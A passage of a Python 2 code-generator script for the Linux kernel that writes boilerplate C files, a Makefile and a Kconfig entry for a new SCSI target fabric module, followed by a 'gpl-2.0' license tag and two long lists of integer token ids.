fabric_mod_name + "_fabric_configfs))\n" buf += " return;\n\n" buf += " target_fabric_configfs_deregister(" + fabric_mod_name + "_fabric_configfs);\n" buf += " " + fabric_mod_name + "_fabric_configfs = NULL;\n" buf += " printk(KERN_INFO \"" + fabric_mod_name.upper() + "[0] - Cleared " + fabric_mod_name + "_fabric_configfs\\n\");\n" buf += "};\n\n" buf += "static int __init " + fabric_mod_name + "_init(void)\n" buf += "{\n" buf += " int ret;\n\n" buf += " ret = " + fabric_mod_name + "_register_configfs();\n" buf += " if (ret < 0)\n" buf += " return ret;\n\n" buf += " return 0;\n" buf += "};\n\n" buf += "static void " + fabric_mod_name + "_exit(void)\n" buf += "{\n" buf += " " + fabric_mod_name + "_deregister_configfs();\n" buf += "};\n\n" buf += "#ifdef MODULE\n" buf += "MODULE_DESCRIPTION(\"" + fabric_mod_name.upper() + " series fabric driver\");\n" buf += "MODULE_LICENSE(\"GPL\");\n" buf += "module_init(" + fabric_mod_name + "_init);\n" buf += "module_exit(" + fabric_mod_name + "_exit);\n" buf += "#endif\n" ret = p.write(buf) if ret: tcm_mod_err("Unable to write f: " + f) p.close() return def tcm_mod_scan_fabric_ops(tcm_dir): fabric_ops_api = tcm_dir + "include/target/target_core_fabric_ops.h" print "Using tcm_mod_scan_fabric_ops: " + fabric_ops_api process_fo = 0; p = open(fabric_ops_api, 'r') line = p.readline() while line: if process_fo == 0 and re.search('struct target_core_fabric_ops {', line): line = p.readline() continue if process_fo == 0: process_fo = 1; line = p.readline() # Search for function pointer if not re.search('\(\*', line): continue fabric_ops.append(line.rstrip()) continue line = p.readline() # Search for function pointer if not re.search('\(\*', line): continue fabric_ops.append(line.rstrip()) p.close() return def tcm_mod_dump_fabric_ops(proto_ident, fabric_mod_dir_var, fabric_mod_name): buf = "" bufi = "" f = fabric_mod_dir_var + "/" + fabric_mod_name + "_fabric.c" print "Writing file: " + f p = open(f, 'w') if not p: tcm_mod_err("Unable to open file: " + f) fi = fabric_mod_dir_var + "/" + fabric_mod_name + "_fabric.h" print "Writing file: " + fi pi = open(fi, 'w') if not pi: tcm_mod_err("Unable to open file: " + fi) buf = "#include <linux/slab.h>\n" buf += "#include <linux/kthread.h>\n" buf += "#include <linux/types.h>\n" buf += "#include <linux/list.h>\n" buf += "#include <linux/types.h>\n" buf += "#include <linux/string.h>\n" buf += "#include <linux/ctype.h>\n" buf += "#include <asm/unaligned.h>\n" buf += "#include <scsi/scsi.h>\n" buf += "#include <scsi/scsi_host.h>\n" buf += "#include <scsi/scsi_device.h>\n" buf += "#include <scsi/scsi_cmnd.h>\n" buf += "#include <scsi/libfc.h>\n\n" buf += "#include <target/target_core_base.h>\n" buf += "#include <target/target_core_transport.h>\n" buf += "#include <target/target_core_fabric_ops.h>\n" buf += "#include <target/target_core_fabric_lib.h>\n" buf += "#include <target/target_core_device.h>\n" buf += "#include <target/target_core_tpg.h>\n" buf += "#include <target/target_core_configfs.h>\n\n" buf += "#include \"" + fabric_mod_name + "_base.h\"\n" buf += "#include \"" + fabric_mod_name + "_fabric.h\"\n\n" buf += "int " + fabric_mod_name + "_check_true(struct se_portal_group *se_tpg)\n" buf += "{\n" buf += " return 1;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_check_true(struct se_portal_group *);\n" buf += "int " + fabric_mod_name + "_check_false(struct se_portal_group *se_tpg)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_check_false(struct se_portal_group *);\n" total_fabric_ops = len(fabric_ops) i = 0 while i < total_fabric_ops: fo = fabric_ops[i] i += 1 # print "fabric_ops: " + fo if re.search('get_fabric_name', fo): buf += "char *" + fabric_mod_name + "_get_fabric_name(void)\n" buf += "{\n" buf += " return \"" + fabric_mod_name[4:] + "\";\n" buf += "}\n\n" bufi += "char *" + fabric_mod_name + "_get_fabric_name(void);\n" continue if re.search('get_fabric_proto_ident', fo): buf += "u8 " + fabric_mod_name + "_get_fabric_proto_ident(struct se_portal_group *se_tpg)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_tpg *tpg = container_of(se_tpg,\n" buf += " struct " + fabric_mod_name + "_tpg, se_tpg);\n" buf += " struct " + fabric_mod_name + "_" + fabric_mod_port + " *" + fabric_mod_port + " = tpg->" + fabric_mod_port + ";\n" buf += " u8 proto_id;\n\n" buf += " switch (" + fabric_mod_port + "->" + fabric_mod_port + "_proto_id) {\n" if proto_ident == "FC": buf += " case SCSI_PROTOCOL_FCP:\n" buf += " default:\n" buf += " proto_id = fc_get_fabric_proto_ident(se_tpg);\n" buf += " break;\n" elif proto_ident == "SAS": buf += " case SCSI_PROTOCOL_SAS:\n" buf += " default:\n" buf += " proto_id = sas_get_fabric_proto_ident(se_tpg);\n" buf += " break;\n" elif proto_ident == "iSCSI": buf += " case SCSI_PROTOCOL_ISCSI:\n" buf += " default:\n" buf += " proto_id = iscsi_get_fabric_proto_ident(se_tpg);\n" buf += " break;\n" buf += " }\n\n" buf += " return proto_id;\n" buf += "}\n\n" bufi += "u8 " + fabric_mod_name + "_get_fabric_proto_ident(struct se_portal_group *);\n" if re.search('get_wwn', fo): buf += "char *" + fabric_mod_name + "_get_fabric_wwn(struct se_portal_group *se_tpg)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_tpg *tpg = container_of(se_tpg,\n" buf += " struct " + fabric_mod_name + "_tpg, se_tpg);\n" buf += " struct " + fabric_mod_name + "_" + fabric_mod_port + " *" + fabric_mod_port + " = tpg->" + fabric_mod_port + ";\n\n" buf += " return &" + fabric_mod_port + "->" + fabric_mod_port + "_name[0];\n" buf += "}\n\n" bufi += "char *" + fabric_mod_name + "_get_fabric_wwn(struct se_portal_group *);\n" if re.search('get_tag', fo): buf += "u16 " + fabric_mod_name + "_get_tag(struct se_portal_group *se_tpg)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_tpg *tpg = container_of(se_tpg,\n" buf += " struct " + fabric_mod_name + "_tpg, se_tpg);\n" buf += " return tpg->" + fabric_mod_port + "_tpgt;\n" buf += "}\n\n" bufi += "u16 " + fabric_mod_name + "_get_tag(struct se_portal_group *);\n" if re.search('get_default_depth', fo): buf += "u32 " + fabric_mod_name + "_get_default_depth(struct se_portal_group *se_tpg)\n" buf += "{\n" buf += " return 1;\n" buf += "}\n\n" bufi += "u32 " + fabric_mod_name + "_get_default_depth(struct se_portal_group *);\n" if re.search('get_pr_transport_id\)\(', fo): buf += "u32 " + fabric_mod_name + "_get_pr_transport_id(\n" buf += " struct se_portal_group *se_tpg,\n" buf += " struct se_node_acl *se_nacl,\n" buf += " struct t10_pr_registration *pr_reg,\n" buf += " int *format_code,\n" buf += " unsigned char *buf)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_tpg *tpg = container_of(se_tpg,\n" buf += " struct " + fabric_mod_name + "_tpg, se_tpg);\n" buf += " struct " + fabric_mod_name + "_" + fabric_mod_port + " *" + fabric_mod_port + " = tpg->" + fabric_mod_port + ";\n" buf += " int ret = 0;\n\n" buf += " switch (" + fabric_mod_port + "->" + fabric_mod_port + "_proto_id) {\n" if proto_ident == "FC": buf += " case SCSI_PROTOCOL_FCP:\n" buf += " default:\n" buf += " ret = fc_get_pr_transport_id(se_tpg, se_nacl, pr_reg,\n" buf += " format_code, buf);\n" buf += " break;\n" elif proto_ident == "SAS": buf += " case SCSI_PROTOCOL_SAS:\n" buf += " default:\n" buf += " ret = sas_get_pr_transport_id(se_tpg, se_nacl, pr_reg,\n" buf += " format_code, buf);\n" buf += " break;\n" elif proto_ident == "iSCSI": buf += " case SCSI_PROTOCOL_ISCSI:\n" buf += " default:\n" buf += " ret = iscsi_get_pr_transport_id(se_tpg, se_nacl, pr_reg,\n" buf += " format_code, buf);\n" buf += " break;\n" buf += " }\n\n" buf += " return ret;\n" buf += "}\n\n" bufi += "u32 " + fabric_mod_name + "_get_pr_transport_id(struct se_portal_group *,\n" bufi += " struct se_node_acl *, struct t10_pr_registration *,\n" bufi += " int *, unsigned char *);\n" if re.search('get_pr_transport_id_len\)\(', fo): buf += "u32 " + fabric_mod_name + "_get_pr_transport_id_len(\n" buf += " struct se_portal_group *se_tpg,\n" buf += " struct se_node_acl *se_nacl,\n" buf += " struct t10_pr_registration *pr_reg,\n" buf += " int *format_code)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_tpg *tpg = container_of(se_tpg,\n" buf += " struct " + fabric_mod_name + "_tpg, se_tpg);\n" buf += " struct " + fabric_mod_name + "_" + fabric_mod_port + " *" + fabric_mod_port + " = tpg->" + fabric_mod_port + ";\n" buf += " int ret = 0;\n\n" buf += " switch (" + fabric_mod_port + "->" + fabric_mod_port + "_proto_id) {\n" if proto_ident == "FC": buf += " case SCSI_PROTOCOL_FCP:\n" buf += " default:\n" buf += " ret = fc_get_pr_transport_id_len(se_tpg, se_nacl, pr_reg,\n" buf += " format_code);\n" buf += " break;\n" elif proto_ident == "SAS": buf += " case SCSI_PROTOCOL_SAS:\n" buf += " default:\n" buf += " ret = sas_get_pr_transport_id_len(se_tpg, se_nacl, pr_reg,\n" buf += " format_code);\n" buf += " break;\n" elif proto_ident == "iSCSI": buf += " case SCSI_PROTOCOL_ISCSI:\n" buf += " default:\n" buf += " ret = iscsi_get_pr_transport_id_len(se_tpg, se_nacl, pr_reg,\n" buf += " format_code);\n" buf += " break;\n" buf += " }\n\n" buf += " return ret;\n" buf += "}\n\n" bufi += "u32 " + fabric_mod_name + "_get_pr_transport_id_len(struct se_portal_group *,\n" bufi += " struct se_node_acl *, struct t10_pr_registration *,\n" bufi += " int *);\n" if re.search('parse_pr_out_transport_id\)\(', fo): buf += "char *" + fabric_mod_name + "_parse_pr_out_transport_id(\n" buf += " struct se_portal_group *se_tpg,\n" buf += " const char *buf,\n" buf += " u32 *out_tid_len,\n" buf += " char **port_nexus_ptr)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_tpg *tpg = container_of(se_tpg,\n" buf += " struct " + fabric_mod_name + "_tpg, se_tpg);\n" buf += " struct " + fabric_mod_name + "_" + fabric_mod_port + " *" + fabric_mod_port + " = tpg->" + fabric_mod_port + ";\n" buf += " char *tid = NULL;\n\n" buf += " switch (" + fabric_mod_port + "->" + fabric_mod_port + "_proto_id) {\n" if proto_ident == "FC": buf += " case SCSI_PROTOCOL_FCP:\n" buf += " default:\n" buf += " tid = fc_parse_pr_out_transport_id(se_tpg, buf, out_tid_len,\n" buf += " port_nexus_ptr);\n" elif proto_ident == "SAS": buf += " case SCSI_PROTOCOL_SAS:\n" buf += " default:\n" buf += " tid = sas_parse_pr_out_transport_id(se_tpg, buf, out_tid_len,\n" buf += " port_nexus_ptr);\n" elif proto_ident == "iSCSI": buf += " case SCSI_PROTOCOL_ISCSI:\n" buf += " default:\n" buf += " tid = iscsi_parse_pr_out_transport_id(se_tpg, buf, out_tid_len,\n" buf += " port_nexus_ptr);\n" buf += " }\n\n" buf += " return tid;\n" buf += "}\n\n" bufi += "char *" + fabric_mod_name + "_parse_pr_out_transport_id(struct se_portal_group *,\n" bufi += " const char *, u32 *, char **);\n" if re.search('alloc_fabric_acl\)\(', fo): buf += "struct se_node_acl *" + fabric_mod_name + "_alloc_fabric_acl(struct se_portal_group *se_tpg)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_nacl *nacl;\n\n" buf += " nacl = kzalloc(sizeof(struct " + fabric_mod_name + "_nacl), GFP_KERNEL);\n" buf += " if (!(nacl)) {\n" buf += " printk(KERN_ERR \"Unable to alocate struct " + fabric_mod_name + "_nacl\\n\");\n" buf += " return NULL;\n" buf += " }\n\n" buf += " return &nacl->se_node_acl;\n" buf += "}\n\n" bufi += "struct se_node_acl *" + fabric_mod_name + "_alloc_fabric_acl(struct se_portal_group *);\n" if re.search('release_fabric_acl\)\(', fo): buf += "void " + fabric_mod_name + "_release_fabric_acl(\n" buf += " struct se_portal_group *se_tpg,\n" buf += " struct se_node_acl *se_nacl)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_nacl *nacl = container_of(se_nacl,\n" buf += " struct " + fabric_mod_name + "_nacl, se_node_acl);\n" buf += " kfree(nacl);\n" buf += "}\n\n" bufi += "void " + fabric_mod_name + "_release_fabric_acl(struct se_portal_group *,\n" bufi += " struct se_node_acl *);\n" if re.search('tpg_get_inst_index\)\(', fo): buf += "u32 " + fabric_mod_name + "_tpg_get_inst_index(struct se_portal_group *se_tpg)\n" buf += "{\n" buf += " return 1;\n" buf += "}\n\n" bufi += "u32 " + fabric_mod_name + "_tpg_get_inst_index(struct se_portal_group *);\n" if re.search('release_cmd_to_pool', fo): buf += "void " + fabric_mod_name + "_release_cmd(struct se_cmd *se_cmd)\n" buf += "{\n" buf += " return;\n" buf += "}\n\n" bufi += "void " + fabric_mod_name + "_release_cmd(struct se_cmd *);\n" if re.search('shutdown_session\)\(', fo): buf += "int " + fabric_mod_name + "_shutdown_session(struct se_session *se_sess)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_shutdown_session(struct se_session *);\n" if re.search('close_session\)\(', fo): buf += "void " + fabric_mod_name + "_close_session(struct se_session *se_sess)\n" buf += "{\n" buf += " return;\n" buf += "}\n\n" bufi += "void " + fabric_mod_name + "_close_session(struct se_session *);\n" if re.search('stop_session\)\(', fo): buf += "void " + fabric_mod_name + "_stop_session(struct se_session *se_sess, int sess_sleep , int conn_sleep)\n" buf += "{\n" buf += " return;\n" buf += "}\n\n" bufi += "void " + fabric_mod_name + "_stop_session(struct se_session *, int, int);\n" if re.search('fall_back_to_erl0\)\(', fo): buf += "void " + fabric_mod_name + "_reset_nexus(struct se_session *se_sess)\n" buf += "{\n" buf += " return;\n" buf += "}\n\n" bufi += "void " + fabric_mod_name + "_reset_nexus(struct se_session *);\n" if re.search('sess_logged_in\)\(', fo): buf += "int " + fabric_mod_name + "_sess_logged_in(struct se_session *se_sess)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_sess_logged_in(struct se_session *);\n" if re.search('sess_get_index\)\(', fo): buf += "u32 " + fabric_mod_name + "_sess_get_index(struct se_session *se_sess)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "u32 " + fabric_mod_name + "_sess_get_index(struct se_session *);\n" if re.search('write_pending\)\(', fo): buf += "int " + fabric_mod_name + "_write_pending(struct se_cmd *se_cmd)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_write_pending(struct se_cmd *);\n" if re.search('write_pending_status\)\(', fo): buf += "int " + fabric_mod_name + "_write_pending_status(struct se_cmd *se_cmd)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_write_pending_status(struct se_cmd *);\n" if re.search('set_default_node_attributes\)\(', fo): buf += "void " + fabric_mod_name + "_set_default_node_attrs(struct se_node_acl *nacl)\n" buf += "{\n" buf += " return;\n" buf += "}\n\n" bufi += "void " + fabric_mod_name + "_set_default_node_attrs(struct se_node_acl *);\n" if re.search('get_task_tag\)\(', fo): buf += "u32 " + fabric_mod_name + "_get_task_tag(struct se_cmd *se_cmd)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "u32 " + fabric_mod_name + "_get_task_tag(struct se_cmd *);\n" if re.search('get_cmd_state\)\(', fo): buf += "int " + fabric_mod_name + "_get_cmd_state(struct se_cmd *se_cmd)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_get_cmd_state(struct se_cmd *);\n" if re.search('new_cmd_failure\)\(', fo): buf += "void " + fabric_mod_name + "_new_cmd_failure(struct se_cmd *se_cmd)\n" buf += "{\n" buf += " return;\n" buf += "}\n\n" bufi += "void " + fabric_mod_name + "_new_cmd_failure(struct se_cmd *);\n" if re.search('queue_data_in\)\(', fo): buf += "int " + fabric_mod_name + "_queue_data_in(struct se_cmd *se_cmd)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_queue_data_in(struct se_cmd *);\n" if re.search('queue_status\)\(', fo): buf += "int " + fabric_mod_name + "_queue_status(struct se_cmd *se_cmd)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_queue_status(struct se_cmd *);\n" if re.search('queue_tm_rsp\)\(', fo): buf += "int " + fabric_mod_name + "_queue_tm_rsp(struct se_cmd *se_cmd)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_queue_tm_rsp(struct se_cmd *);\n" if re.search('get_fabric_sense_len\)\(', fo): buf += "u16 " + fabric_mod_name + "_get_fabric_sense_len(void)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "u16 " + fabric_mod_name + "_get_fabric_sense_len(void);\n" if re.search('set_fabric_sense_len\)\(', fo): buf += "u16 " + fabric_mod_name + "_set_fabric_sense_len(struct se_cmd *se_cmd, u32 sense_length)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "u16 " + fabric_mod_name + "_set_fabric_sense_len(struct se_cmd *, u32);\n" if re.search('is_state_remove\)\(', fo): buf += "int " + fabric_mod_name + "_is_state_remove(struct se_cmd *se_cmd)\n" buf += "{\n" buf += " return 0;\n" buf += "}\n\n" bufi += "int " + fabric_mod_name + "_is_state_remove(struct se_cmd *);\n" if re.search('pack_lun\)\(', fo): buf += "u64 " + fabric_mod_name + "_pack_lun(unsigned int lun)\n" buf += "{\n" buf += " WARN_ON(lun >= 256);\n" buf += " /* Caller wants this byte-swapped */\n" buf += " return cpu_to_le64((lun & 0xff) << 8);\n" buf += "}\n\n" bufi += "u64 " + fabric_mod_name + "_pack_lun(unsigned int);\n" ret = p.write(buf) if ret: tcm_mod_err("Unable to write f: " + f) p.close() ret = pi.write(bufi) if ret: tcm_mod_err("Unable to write fi: " + fi) pi.close() return def tcm_mod_build_kbuild(fabric_mod_dir_var, fabric_mod_name): buf = "" f = fabric_mod_dir_var + "/Makefile" print "Writing file: " + f p = open(f, 'w') if not p: tcm_mod_err("Unable to open file: " + f) buf += fabric_mod_name + "-objs := " + fabric_mod_name + "_fabric.o \\\n" buf += " " + fabric_mod_name + "_configfs.o\n" buf += "obj-$(CONFIG_" + fabric_mod_name.upper() + ") += " + fabric_mod_name + ".o\n" ret = p.write(buf) if ret: tcm_mod_err("Unable to write f: " + f) p.close() return def tcm_mod_build_kconfig(fabric_mod_dir_var, fabric_mod_name): buf = "" f = fabric_mod_dir_var + "/Kconfig" print "Writing file: " + f p = open(f, 'w') if not p: tcm_mod_err("Unable to open file: " + f) buf = "config " + fabric_mod_name.upper() + "\n" buf += " tristate \"" + fabric_mod_name.upper() + " fabric module\"\n" buf += " depends on TARGET_CORE && CONFIGFS_FS\n" buf += " default n\n" buf += " ---help---\n" buf += " Say Y here to enable the " + fabric_mod_name.upper() + " fabric module\n" ret = p.write(buf) if ret: tcm_mod_err("Unable to write f: " + f) p.close() return def tcm_mod_add_kbuild(tcm_dir, fabric_mod_name): buf = "obj-$(CONFIG_" + fabric_mod_name.upper() + ") += " + fabric_mod_name.lower() + "/\n" kbuild = tcm_dir + "/drivers/target/Makefile" f = open(kbuild, 'a') f.write(buf) f.close() return def tcm_mod_add_kconfig(tcm_dir, fabric_mod_name): buf = "source \"drivers/target/" + fabric_mod_name.lower() + "/Kconfig\"\n" kconfig = tcm_dir + "/drivers/target/Kconfig" f = open(kconfig, 'a') f.write(buf) f.close() return def main(modname, proto_ident): # proto_ident = "FC" # proto_ident = "SAS" # proto_ident = "iSCSI" tcm_dir = os.getcwd(); tcm_dir += "/../../" print "tcm_dir: " + tcm_dir fabric_mod_name = modname fabric_mod_dir = tcm_dir + "drivers/target/" + fabric_mod_name print "Set fabric_mod_name: " + fabric_mod_name print "Set fabric_mod_dir: " + fabric_mod_dir print "Using proto_ident: " + proto_ident if proto_ident != "FC" and proto_ident != "SAS" and proto_ident != "iSCSI": print "Unsupported proto_ident: " + proto_ident sys.exit(1) ret = tcm_mod_create_module_subdir(fabric_mod_dir) if ret: print "tcm_mod_create_module_subdir() failed because module already exists!" sys.exit(1) tcm_mod_build_base_includes(proto_ident, fabric_mod_dir, fabric_mod_name) tcm_mod_scan_fabric_ops(tcm_dir) tcm_mod_dump_fabric_ops(proto_ident, fabric_mod_dir, fabric_mod_name) tcm_mod_build_configfs(proto_ident, fabric_mod_dir, fabric_mod_name) tcm_mod_build_kbuild(fabric_mod_dir, fabric_mod_name) tcm_mod_build_kconfig(fabric_mod_dir, fabric_mod_name) input = raw_input("Would you like to add " + fabric_mod_name + "to drivers/target/Makefile..? [yes,no]: ") if input == "yes" or input == "y": tcm_mod_add_kbuild(tcm_dir, fabric_mod_name) input = raw_input("Would you like to add " + fabric_mod_name + "to drivers/target/Kconfig..? [yes,no]: ") if input == "yes" or input == "y": tcm_mod_add_kconfig(tcm_dir, fabric_mod_name) return parser = optparse.OptionParser() parser.add_option('-m', '--modulename', help='Module name', dest='modname', action='store', nargs=1, type='string') parser.add_option('-p', '--protoident', help='Protocol Ident', dest='protoident', action='store', nargs=1, type='string') (opts, args) = parser.parse_args() mandatories = ['modname', 'protoident'] for m in mandatories: if not opts.__dict__[m]: print "mandatory option is missing\n" parser.print_help() exit(-1) if __name__ == "__main__": main(str(opts.modname), opts.protoident)
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 710, 28526, 373, 20, 3510, 13, 3922, 2630, 859, 10152, 2884, 367, 19016, 15, 1375, 21792, 11365, 63, 8816, 199, 3, 199, 3, 1898, 334, 67, 9, 7129, 820, 11136, 377, 2655, 15285, 199, 3, 1898, 334, 67, 9, 7129, 10130, 13, 21534, 14, 1308, 199, 3, 199, 3, 6529, 26, 302, 371, 32, 4989, 14, 1308, 199, 3, 199, 646, 747, 12, 984, 199, 646, 3873, 465, 1007, 199, 646, 1059, 199, 646, 295, 199, 646, 8691, 199, 199, 10606, 63, 694, 275, 3087, 199, 199, 4991, 63, 1483, 275, 942, 199, 4991, 63, 1494, 63, 694, 275, 3087, 199, 4991, 63, 1494, 63, 719, 275, 3087, 199, 4991, 63, 1494, 63, 826, 63, 719, 275, 3087, 199, 199, 318, 15288, 63, 1494, 63, 1508, 8, 1328, 304, 199, 198, 1361, 1499, 199, 198, 1274, 14, 2224, 8, 17, 9, 199, 199, 318, 15288, 63, 1494, 63, 981, 63, 578, 63, 10622, 8, 4991, 63, 1494, 63, 694, 63, 1391, 304, 421, 198, 692, 747, 14, 515, 14, 6027, 8, 4991, 63, 1494, 63, 694, 63, 1391, 9, 508, 715, 26, 507, 198, 1107, 413, 421, 198, 1361, 298, 14380, 2630, 63, 1494, 63, 694, 26, 298, 435, 2630, 63, 1494, 63, 694, 63, 1391, 199, 198, 3292, 275, 747, 14, 8215, 8, 4991, 63, 1494, 63, 694, 63, 1391, 9, 199, 198, 692, 2203, 26, 507, 198, 10606, 63, 1494, 63, 1508, 480, 6005, 370, 20366, 298, 435, 2630, 63, 1494, 63, 694, 63, 1391, 9, 421, 198, 1107, 199, 199, 318, 15288, 63, 1494, 63, 1506, 63, 4161, 63, 2613, 8, 4991, 63, 1494, 63, 694, 63, 1391, 12, 2630, 63, 1494, 63, 354, 304, 199, 198, 2966, 2630, 63, 1494, 63, 719, 199, 198, 2966, 2630, 63, 1494, 63, 826, 63, 719, 199, 198, 1436, 275, 3087, 421, 198, 70, 275, 2630, 63, 1494, 63, 694, 63, 1391, 435, 10609, 435, 2630, 63, 1494, 63, 354, 435, 2668, 1095, 14, 72, 2, 199, 198, 1361, 298, 16646, 570, 26, 298, 435, 289, 421, 198, 80, 275, 1551, 8, 70, 12, 283, 87, 11339, 199, 198, 692, 440, 299, 26, 507, 198, 10606, 63, 1494, 63, 1508, 480, 6005, 370, 1551, 570, 26, 298, 435, 289, 9, 421, 198, 1436, 275, 5426, 4640, 298, 435, 2630, 63, 1494, 63, 354, 14, 4142, 342, 435, 2668, 4612, 198, 4451, 86, 16, 14, 17, 13356, 78, 2, 199, 198, 1436, 847, 5426, 4640, 298, 435, 2630, 63, 1494, 63, 354, 14, 4142, 342, 435, 2668, 22168, 198, 708, 60, 78, 2, 199, 198, 1436, 847, 1867, 78, 2, 199, 198, 1436, 847, 298, 1820, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 7745, 9459, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 14161, 13064, 32612, 3747, 10977, 2812, 367, 20934, 21412, 707, 653, 719, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 85, 772, 302, 719, 63, 25944, 3779, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 10485, 7871, 30415, 9060, 367, 20934, 21412, 707, 653, 719, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1560, 302, 719, 63, 354, 905, 435, 2630, 63, 1494, 63, 354, 14, 4142, 342, 435, 2668, 22168, 22842, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 19907, 701, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 1875, 63, 23964, 342, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1820, 542, 63, 932, 63, 5853, 542, 63, 932, 63, 5853, 3779, 78, 2, 199, 198, 1436, 847, 18262, 78, 2, 199, 198, 1436, 847, 1867, 78, 2, 199, 198, 1436, 847, 298, 1820, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 5249, 9459, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 20934, 27167, 1347, 18428, 1572, 1947, 367, 28526, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 85, 975, 27167, 63, 28552, 3779, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 28833, 1771, 370, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 25623, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1820, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 25623, 627, 25623, 3779, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 19907, 701, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 1875, 63, 5249, 342, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1820, 542, 63, 8707, 63, 923, 542, 63, 5249, 3779, 78, 2, 199, 198, 1436, 847, 18262, 78, 2, 199, 198, 1436, 847, 1867, 78, 2, 199, 198, 1436, 847, 298, 1820, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 25623, 9459, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 17822, 4113, 314, 27167, 365, 13070, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 85, 24, 27167, 63, 2625, 63, 344, 3779, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 14161, 13064, 32612, 3747, 10977, 2812, 367, 20934, 10256, 491, 719, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 85, 772, 27167, 63, 25944, 3779, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 10485, 7871, 30415, 9060, 367, 20934, 10256, 491, 719, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1560, 27167, 63, 354, 905, 435, 2630, 63, 1494, 63, 354, 14, 4142, 342, 435, 2668, 22168, 22842, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 19907, 701, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 1875, 63, 25623, 342, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1820, 542, 63, 10988, 27167, 63, 10988, 3779, 78, 2, 199, 198, 1436, 847, 18262, 78, 2, 421, 198, 3292, 275, 299, 14, 952, 8, 1436, 9, 199, 198, 692, 2203, 26, 507, 198, 10606, 63, 1494, 63, 1508, 480, 6005, 370, 2218, 289, 26, 298, 435, 289, 9, 421, 198, 80, 14, 1600, 342, 421, 198, 4991, 63, 1494, 63, 719, 275, 298, 25623, 2, 199, 198, 4991, 63, 1494, 63, 826, 63, 719, 275, 298, 78, 719, 2, 421, 198, 1107, 199, 199, 318, 15288, 63, 1494, 63, 1506, 63, 15319, 63, 2613, 8, 4991, 63, 1494, 63, 694, 63, 1391, 12, 2630, 63, 1494, 63, 354, 304 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 710, 28526, 373, 20, 3510, 13, 3922, 2630, 859, 10152, 2884, 367, 19016, 15, 1375, 21792, 11365, 63, 8816, 199, 3, 199, 3, 1898, 334, 67, 9, 7129, 820, 11136, 377, 2655, 15285, 199, 3, 1898, 334, 67, 9, 7129, 10130, 13, 21534, 14, 1308, 199, 3, 199, 3, 6529, 26, 302, 371, 32, 4989, 14, 1308, 199, 3, 199, 646, 747, 12, 984, 199, 646, 3873, 465, 1007, 199, 646, 1059, 199, 646, 295, 199, 646, 8691, 199, 199, 10606, 63, 694, 275, 3087, 199, 199, 4991, 63, 1483, 275, 942, 199, 4991, 63, 1494, 63, 694, 275, 3087, 199, 4991, 63, 1494, 63, 719, 275, 3087, 199, 4991, 63, 1494, 63, 826, 63, 719, 275, 3087, 199, 199, 318, 15288, 63, 1494, 63, 1508, 8, 1328, 304, 199, 198, 1361, 1499, 199, 198, 1274, 14, 2224, 8, 17, 9, 199, 199, 318, 15288, 63, 1494, 63, 981, 63, 578, 63, 10622, 8, 4991, 63, 1494, 63, 694, 63, 1391, 304, 421, 198, 692, 747, 14, 515, 14, 6027, 8, 4991, 63, 1494, 63, 694, 63, 1391, 9, 508, 715, 26, 507, 198, 1107, 413, 421, 198, 1361, 298, 14380, 2630, 63, 1494, 63, 694, 26, 298, 435, 2630, 63, 1494, 63, 694, 63, 1391, 199, 198, 3292, 275, 747, 14, 8215, 8, 4991, 63, 1494, 63, 694, 63, 1391, 9, 199, 198, 692, 2203, 26, 